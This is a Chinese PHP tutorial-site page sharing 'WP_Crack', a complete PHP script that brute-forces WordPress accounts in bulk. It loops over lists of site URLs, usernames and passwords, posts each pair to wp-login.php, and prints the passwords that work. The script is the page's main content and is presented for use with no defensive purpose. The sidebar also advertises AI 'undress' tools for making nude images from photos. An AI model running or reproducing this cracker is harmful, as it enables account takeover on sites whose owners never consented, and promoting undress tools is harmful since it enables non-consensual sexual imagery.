Home php教程 PHP源码 WP_Crack(批量爆破Wordpress 账户)

WP_Crack(批量爆破Wordpress 账户)

May 25, 2016 pm 05:06 PM

<?php
$HostList = file(&#39;url.txt&#39;);
$users    = file(&#39;users.txt&#39;);
$Psws     = file(&#39;pass.txt&#39;);

foreach ($HostList as $url)
{
    $url = Trim($url);
	
    $PostUrl = $url.&#39;/wp-login.php&#39;;
	$_Path_status_code = GetHttpStatusCode(Trim($PostUrl));
	//echo $PostUrl.&#39; &#39;.$_Path_status_code."\n";
	if (&#39;404&#39; == $_Path_status_code)
	{
	    Continue;
	}

    foreach ($users as $username)
	{
        $username = Trim($username);
	    foreach ($Psws as $now)
	    {
		    $now = Trim($now);
	        $curlPost = &#39;log=&#39;.$username.&#39;&pwd=&#39;.urlencode($now);
		    $Rs = POST_Data($PostUrl, $curlPost);
		    $fail_tag = &#39;<strong>&#39;.$username.&#39;</strong>&#39;;
		    if (stristr($Rs, &#39;<strong>ERROR</strong>: Invalid username&#39;)) # 不存在的用户名跳过猜解
		    {
		        Break;
		    }
            if (!stristr($Rs, $fail_tag))
		    {
		        echo $PostUrl.&#39; &#39;.&#39;Password:&#39;.$now.&#39; # Succed!&#39;."\n";
		    }
	    }
	}


}

     function GetHttpStatusCode($url){ 
         $curl = curl_init();
         curl_setopt($curl,CURLOPT_URL,$url);//获取内容url 
         curl_setopt($curl,CURLOPT_HEADER,1);//获取http头信息 
         curl_setopt($curl,CURLOPT_NOBODY,1);//不返回html的body信息 
         curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);//返回数据流,不直接输出 
         curl_setopt($curl,CURLOPT_TIMEOUT,3); //超时时长,单位秒 
         curl_exec($curl);
         $rtn= curl_getinfo($curl,CURLINFO_HTTP_CODE);
         curl_close($curl);
         return  $rtn;
     }


function POST_Data($PostUrl, $DATA)
{
    $ch = curl_init();//初始化curl
    curl_setopt($ch,CURLOPT_URL, $PostUrl);//抓取指定网页
    curl_setopt($ch, CURLOPT_HEADER, 0);//设置header
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
    curl_setopt($ch, CURLOPT_POSTFIELDS, $DATA);
    $data = curl_exec($ch);//运行curl
    curl_close($ch);
    return $data;//输出结果
}


?>
Copy after login

WP_Crack(批量爆破Wordpress 账户)

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: How To Unlock Everything In MyRise
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)